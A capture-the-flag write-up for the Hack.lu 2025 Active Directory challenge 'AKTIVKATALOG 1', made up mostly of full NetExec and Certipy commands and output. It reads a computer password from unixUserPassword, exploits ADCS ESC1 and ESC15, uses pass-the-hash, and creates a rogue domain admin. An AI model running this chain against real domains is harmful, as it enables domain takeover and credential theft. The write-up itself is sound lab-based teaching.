AKTIVKATALOG 1 is an Active Directory challenge from Hack.lu CTF 2025, created by NeffIsBack and Steffen. It involves enumerating the unixUserPassword attribute and ADCS

Note

My NetExec version is the latest, I installed it using:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  tools git clone https://github.com/Pennyw0rth/NetExec
➜ tools cd NetExec
➜ NetExec git:(main) ✗ python3 -m pipx install . --force
Installing to existing venv 'netexec'
installed package netexec 1.4.0+1009.3d407b47, installed using Python 3.12.3
These apps are now globally available
- NetExec
- netexec
- nxc
- nxcdb
done! ✨ 🌟 ✨

➜ NetExec git:(main) ✗ nxc --version
1.4.0 - SmoothOperator - 3d407b47 - 1009

My Certipy version is:

1
2
➜  certipy --version
Certipy v5.0.3 - by Oliver Lyak (ly4k)

Enumeration

I’ll use netexec to generate the hosts file line and add it to /etc/hosts

1
2
3
4
➜  nxc smb 10.244.0.10 --generate-hosts-file hosts
SMB 10.244.0.10 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domin:hack.lu) (signing:True) (SMBv1:False) (Null Auth:True)
cat hosts
10.244.0.10 DC01.hack.lu hack.lu DC01

Running netexec with the --users and --shares flags doesn’t show anything suspicious. However, we can use the --computers flag to enumerate domain computers

1
2
3
4
5
6
➜  nxc ldap 10.244.0.10 -u '' -p '' --computers
LDAP 10.244.0.10 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:hack.lu) (signing:Enforced) (channel binding:When Supported)
LDAP 10.244.0.10 389 DC01 [+] hack.lu\:
LDAP 10.244.0.10 389 DC01 [*] Total records returned: 2
LDAP 10.244.0.10 389 DC01 DC01$
LDAP 10.244.0.10 389 DC01 dator$

As you can see, we have the DC01$ account and another computer account called dator$. There’s an LDAP attribute called unixUserPassword that is sometimes populated with plaintext credentials. To enumerate it, we can use the get-unixUserPassword module from netexec, which in this case returns the computer account’s password

1
2
3
4
5
➜  nxc ldap 10.244.0.10 -u '' -p '' -M get-unixUserPassword
LDAP 10.244.0.10 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:hack.lu) (signing:Enforced) (channel binding:When Supported)
LDAP 10.244.0.10 389 DC01 [+] hack.lu\:
GET-UNIX... 10.244.0.10 389 DC01 [+] Found following users:
GET-UNIX... 10.244.0.10 389 DC01 User: dator$ unixUserPassword: vy6A8VGpN7gMxZ

Now that we have credentials, we can do further enumeration like listing users and shares but nothing is interesting was found

1
2
3
4
5
6
7
8
➜  nxc smb 10.244.0.10 -u 'dator$' -p 'vy6A8VGpN7gMxZ' --users
SMB 10.244.0.10 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domin:hack.lu) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.244.0.10 445 DC01 [+] hack.lu\dator$:vy6A8VGpN7gMxZ
SMB 10.244.0.10 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.244.0.10 445 DC01 Administratör 2025-10-08 13:28:59 0 Fördefinierat administratörskonto för datorn/domänen
SMB 10.244.0.10 445 DC01 Gäst <never> 0 Fördefinierat gästkonto för datorn/domänen
SMB 10.244.0.10 445 DC01 krbtgt 2025-10-08 14:10:03 0 Tjänstkonto för KDC (Key Distribution Center)
SMB 10.244.0.10 445 DC01 [*] Enumerated 3 local users: HACK
1
2
3
4
5
6
7
8
9
10
11
➜  nxc smb 10.244.0.10 -u 'dator$' -p 'vy6A8VGpN7gMxZ' --shares
SMB 10.244.0.10 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domin:hack.lu) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.244.0.10 445 DC01 [+] hack.lu\dator$:vy6A8VGpN7gMxZ
SMB 10.244.0.10 445 DC01 [*] Enumerated shares
SMB 10.244.0.10 445 DC01 Share Permissions Remark
SMB 10.244.0.10 445 DC01 ----- ----------- ------
SMB 10.244.0.10 445 DC01 ADMIN$ Fjärradmin
SMB 10.244.0.10 445 DC01 C$ Standardresurs
SMB 10.244.0.10 445 DC01 IPC$ READ Fjärr-IPC
SMB 10.244.0.10 445 DC01 NETLOGON READ Resurs för serverinloggning
SMB 10.244.0.10 445 DC01 SYSVOL READ Resurs för serverinloggning

ADCS

One important thing to check in an Active Directory environment is ADCS (Active Directory Certificate Services). Let’s use the adcs module from netexec to see if it’s in use

1
2
3
4
5
6
7
➜  nxc ldap 10.244.0.10 -u 'dator$' -p 'vy6A8VGpN7gMxZ' -M adcs
LDAP 10.244.0.10 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:hack.lu) (signing:Enforced) (channel binding:When Supported)
LDAP 10.244.0.10 389 DC01 [+] hack.lu\dator$:vy6A8VGpN7gMxZ
ADCS 10.244.0.10 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.244.0.10 389 DC01 Found PKI Enrollment Server: DC01.hack.lu
ADCS 10.244.0.10 389 DC01 Found CN: hack-DC01-CA
ADCS 10.244.0.10 389 DC01 Found PKI Enrollment WebService: https://dc01.hack.lu/hack-DC01-CA_CES_Kerberos/service.svc/CES

Indeed, ADCS is present here. The next step is to look for vulnerable templates using tools like Certipy. Netexec recently added a new module called certipy-find that works like the certipy find command to look for vulnerable templates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
➜  nxc ldap 10.244.0.10 -u 'dator$' -p 'vy6A8VGpN7gMxZ' -M certipy-find
LDAP 10.244.0.10 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:hack.lu) (signing:Enforced) (channel binding:When Supported)
LDAP 10.244.0.10 389 DC01 [+] hack.lu\dator$:vy6A8VGpN7gMxZ
CERTIPY-... 10.244.0.10 389 DC01 Certificate Authorities
CERTIPY-... 10.244.0.10 389 DC01 0
CERTIPY-... 10.244.0.10 389 DC01 CA Name : hack-DC01-CA
CERTIPY-... 10.244.0.10 389 DC01 DNS Name : DC01.hack.lu
CERTIPY-... 10.244.0.10 389 DC01 Certificate Subject : CN=hack-DC01-CA, DC=hack, DC=lu
CERTIPY-... 10.244.0.10 389 DC01 Certificate Serial Number : 49A6DF796B66B08746F83C67B8A882D3
CERTIPY-... 10.244.0.10 389 DC01 Certificate Validity Start : 2025-10-08 14:46:23+00:00
CERTIPY-... 10.244.0.10 389 DC01 Certificate Validity End : 2030-10-08 14:55:34+00:00
CERTIPY-... 10.244.0.10 389 DC01 Web Enrollment
CERTIPY-... 10.244.0.10 389 DC01 HTTP
CERTIPY-... 10.244.0.10 389 DC01 Enabled : False
CERTIPY-... 10.244.0.10 389 DC01 HTTPS
CERTIPY-... 10.244.0.10 389 DC01 Enabled : False
CERTIPY-... 10.244.0.10 389 DC01 User Specified SAN : Disabled
CERTIPY-... 10.244.0.10 389 DC01 Request Disposition : Issue
CERTIPY-... 10.244.0.10 389 DC01 Enforce Encryption for Requests : Enabled
CERTIPY-... 10.244.0.10 389 DC01 Active Policy : CertificateAuthority_MicrosoftDefault.Policy
CERTIPY-... 10.244.0.10 389 DC01 Permissions
CERTIPY-... 10.244.0.10 389 DC01 Owner : HACK.LU\Administrators
CERTIPY-... 10.244.0.10 389 DC01 Access Rights
CERTIPY-... 10.244.0.10 389 DC01 ManageCa : HACK.LU\Administrators
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Domänadministratörer
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Företagsadministratörer
CERTIPY-... 10.244.0.10 389 DC01 ManageCertificates : HACK.LU\Administrators
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Domänadministratörer
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Företagsadministratörer
CERTIPY-... 10.244.0.10 389 DC01 Enroll : HACK.LU\Authenticated Users
CERTIPY-... 10.244.0.10 389 DC01 Certificate Templates
CERTIPY-... 10.244.0.10 389 DC01 0
CERTIPY-... 10.244.0.10 389 DC01 Template Name : köttbullar
CERTIPY-... 10.244.0.10 389 DC01 Display Name : köttbullar
CERTIPY-... 10.244.0.10 389 DC01 Certificate Authorities : hack-DC01-CA
CERTIPY-... 10.244.0.10 389 DC01 Enabled : True
CERTIPY-... 10.244.0.10 389 DC01 Client Authentication : True
CERTIPY-... 10.244.0.10 389 DC01 Enrollment Agent : False
CERTIPY-... 10.244.0.10 389 DC01 Any Purpose : False
CERTIPY-... 10.244.0.10 389 DC01 Enrollee Supplies Subject : True
CERTIPY-... 10.244.0.10 389 DC01 Certificate Name Flag : EnrolleeSuppliesSubject
CERTIPY-... 10.244.0.10 389 DC01 Enrollment Flag : AutoEnrollment
CERTIPY-... 10.244.0.10 389 DC01 Extended Key Usage : Server Authentication
CERTIPY-... 10.244.0.10 389 DC01 Client Authentication
CERTIPY-... 10.244.0.10 389 DC01 Requires Manager Approval : False
CERTIPY-... 10.244.0.10 389 DC01 Requires Key Archival : False
CERTIPY-... 10.244.0.10 389 DC01 Authorized Signatures Required : 0
CERTIPY-... 10.244.0.10 389 DC01 Schema Version : 1
CERTIPY-... 10.244.0.10 389 DC01 Validity Period : 1 year
CERTIPY-... 10.244.0.10 389 DC01 Renewal Period : 6 weeks
CERTIPY-... 10.244.0.10 389 DC01 Minimum RSA Key Length : 2048
CERTIPY-... 10.244.0.10 389 DC01 Template Created : 2025-10-08T14:59:46+00:00
CERTIPY-... 10.244.0.10 389 DC01 Template Last Modified : 2025-10-08T14:59:46+00:00
CERTIPY-... 10.244.0.10 389 DC01 Permissions
CERTIPY-... 10.244.0.10 389 DC01 Enrollment Permissions
CERTIPY-... 10.244.0.10 389 DC01 Enrollment Rights : HACK.LU\Domändatorer
CERTIPY-... 10.244.0.10 389 DC01 Object Control Permissions
CERTIPY-... 10.244.0.10 389 DC01 Owner : HACK.LU\Företagsadministratörer
CERTIPY-... 10.244.0.10 389 DC01 Full Control Principals : HACK.LU\Domänadministratörer
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Local System
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Företagsadministratörer
CERTIPY-... 10.244.0.10 389 DC01 Write Owner Principals : HACK.LU\Domänadministratörer
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Local System
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Företagsadministratörer
CERTIPY-... 10.244.0.10 389 DC01 Write Dacl Principals : HACK.LU\Domänadministratörer
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Local System
CERTIPY-... 10.244.0.10 389 DC01 HACK.LU\Företagsadministratörer
CERTIPY-... 10.244.0.10 389 DC01 [+] User Enrollable Principals : HACK.LU\Domändatorer
CERTIPY-... 10.244.0.10 389 DC01 [!] Vulnerabilities
CERTIPY-... 10.244.0.10 389 DC01 ESC1 : Enrollee supplies subject and template allows client authentication.
CERTIPY-... 10.244.0.10 389 DC01 ESC15 : Enrollee supplies subject and schema version is 1.
CERTIPY-... 10.244.0.10 389 DC01 [*] Remarks
CERTIPY-... 10.244.0.10 389 DC01 ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
CERTIPY-... 10.244.0.10 389 DC01 ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
CERTIPY-... 10.244.0.10 389 DC01 ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

We can also do the same thing using certipy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
➜  certipy find -u 'dator$@hack.lu' -p 'vy6A8VGpN7gMxZ' -dc-ip 10.244.0.10 -target dc01.hack.lu -enabled -vulnerable -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'hack-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'hack-DC01-CA'
[*] Checking web enrollment for CA 'hack-DC01-CA' @ 'DC01.hack.lu'
[!] Error checking web enrollment: [Errno 104] Connection reset by peer
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : hack-DC01-CA
DNS Name : DC01.hack.lu
Certificate Subject : CN=hack-DC01-CA, DC=hack, DC=lu
Certificate Serial Number : 49A6DF796B66B08746F83C67B8A882D3
Certificate Validity Start : 2025-10-08 14:46:23+00:00
Certificate Validity End : 2030-10-08 14:55:34+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : HACK.LU\Administrators
Access Rights
ManageCa : HACK.LU\Administrators
HACK.LU\Domänadministratörer
HACK.LU\Företagsadministratörer
ManageCertificates : HACK.LU\Administrators
HACK.LU\Domänadministratörer
HACK.LU\Företagsadministratörer
Enroll : HACK.LU\Authenticated Users
Certificate Templates
0
Template Name : köttbullar
Display Name : köttbullar
Certificate Authorities : hack-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : AutoEnrollment
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-10-08T14:59:46+00:00
Template Last Modified : 2025-10-08T14:59:46+00:00
Permissions
Enrollment Permissions
Enrollment Rights : HACK.LU\Domändatorer
Object Control Permissions
Owner : HACK.LU\Företagsadministratörer
Full Control Principals : HACK.LU\Domänadministratörer
HACK.LU\Local System
HACK.LU\Företagsadministratörer
Write Owner Principals : HACK.LU\Domänadministratörer
HACK.LU\Local System
HACK.LU\Företagsadministratörer
Write Dacl Principals : HACK.LU\Domänadministratörer
HACK.LU\Local System
HACK.LU\Företagsadministratörer
[+] User Enrollable Principals : HACK.LU\Domändatorer
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

As you can see from the output of both tools, the köttbullar template is vulnerable to ESC1 and ESC15. In this writeup we will exploit both

ESC1

certipy wiki is a nice place to find more information about ESC1 and the commands to exploit it. I also created a cheatsheet for ADCS that includes all the commands to exploit each escalation. More ADCS resources are listed in the resources section at the end of this writeup

1
2
3
4
5
6
7
8
9
10
➜  certipy req -u 'dator$' -p 'vy6A8VGpN7gMxZ' -ca hack-DC01-CA -target dc01.hack.lu -template 'köttbullar' -upn 'Administrator' -sid S-1-5-21-215134972-1129381140-2588549801-500 -dc-ip 10.244.0.10
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate object SID is 'S-1-5-21-215134972-1129381140-2588549801-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  certipy auth -pfx administrator.pfx -domain hack.lu -u 'administrator' -dc-ip 10.244.0.10
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] SAN URL SID: 'S-1-5-21-215134972-1129381140-2588549801-500'
[*] Security Extension SID: 'S-1-5-21-215134972-1129381140-2588549801-500'
[*] Using principal: 'administrator@hack.lu'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@hack.lu': aad3b435b51404eeaad3b435b51404ee:a6b9330f65063062dc3d567db7d4e695

With the Domain Administrator hash in hand, we can grab our flag located in C:\Users\Administratör\Desktop\flag.txt

1
2
3
4
5
6
7
➜  nxc smb 10.244.0.10 -u administrator -H a6b9330f65063062dc3d567db7d4e695 --get-file 'Users\\Administratör\\Desktop\\flag.txt' flag.txt
SMB 10.244.0.10 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:hack.lu) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.244.0.10 445 DC01 [+] hack.lu\administrator:a6b9330f65063062dc3d567db7d4e695 (Pwn3d!)
SMB 10.244.0.10 445 DC01 [*] Copying "Users\\Administratör\\Desktop\\flag.txt" to "flag.txt"
SMB 10.244.0.10 445 DC01 [+] File "Users\\Administratör\\Desktop\\flag.txt" was downloaded to "flag.txt"
cat flag.txt
flag{1_th0ugh7_th15_w4s_att4ck_d3f3nse_a74e5982}

ESC15

We will exploit Scenario A which is Direct Impersonation via Schannel (Injecting "Client Authentication" Application Policy)

1
2
3
4
5
6
7
8
9
10
➜  certipy req -u 'dator$@hack.lu' -p 'vy6A8VGpN7gMxZ' -dc-ip 10.244.0.10 -target dc01.hack.lu -ca hack-DC01-CA -template 'köttbullar' -upn administrator@hack.lu -sid S-1-5-21-215134972-1129381140-2588549801-500 -application-policies 'Client Authentication'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@hack.lu'
[*] Certificate object SID is 'S-1-5-21-215134972-1129381140-2588549801-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
1
2
3
4
5
6
7
8
9
10
11
12
13
➜  certipy auth -pfx administrator.pfx -dc-ip 10.244.0.10 -ldap-shell
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'administrator@hack.lu'
[*] SAN URL SID: 'S-1-5-21-215134972-1129381140-2588549801-500'
[*] Security Extension SID: 'S-1-5-21-215134972-1129381140-2588549801-500'
[*] Connecting to 'ldaps://10.244.0.10:636'
[*] Authenticated to '10.244.0.10' as: 'u:HACK\\Administratör'
Type help for list of commands

# whoami
u:HACK\Administratör

With this ldap shell we can do a lot. The easiest way is to create a new user and add them to the domain admins (sorry I mean Domänadministratörer) group

1
2
3
4
5
6
# add_user serioton
Attempting to create user in: %s CN=Users,DC=hack,DC=lu
Adding new user with username: serioton and password: LyX\mX!ry]G{W;D result: OK

# add_user_to_group serioton Domänadministratörer
Adding user: serioton to group Domänadministratörer result: OK

Now we can grab our flag, just like before

1
2
3
4
5
6
7
➜  nxc smb 10.244.0.10 -u serioton -p 'LyX\mX!ry]G{W;D' --get-file 'Users\\Administratör\\Desktop\\flag.txt' flag.txt
SMB 10.244.0.10 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:hack.lu) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.244.0.10 445 DC01 [+] hack.lu\serioton:LyX\mX!ry]G{W;D (Pwn3d!)
SMB 10.244.0.10 445 DC01 [*] Copying "Users\\Administratör\\Desktop\\flag.txt" to "flag.txt"
SMB 10.244.0.10 445 DC01 [+] File "Users\\Administratör\\Desktop\\flag.txt" was downloaded to "flag.txt"
cat flag.txt
flag{1_th0ugh7_th15_w4s_att4ck_d3f3nse_a74e5982}

That concludes this challenge. I hope you learned something new! 🐱

Resources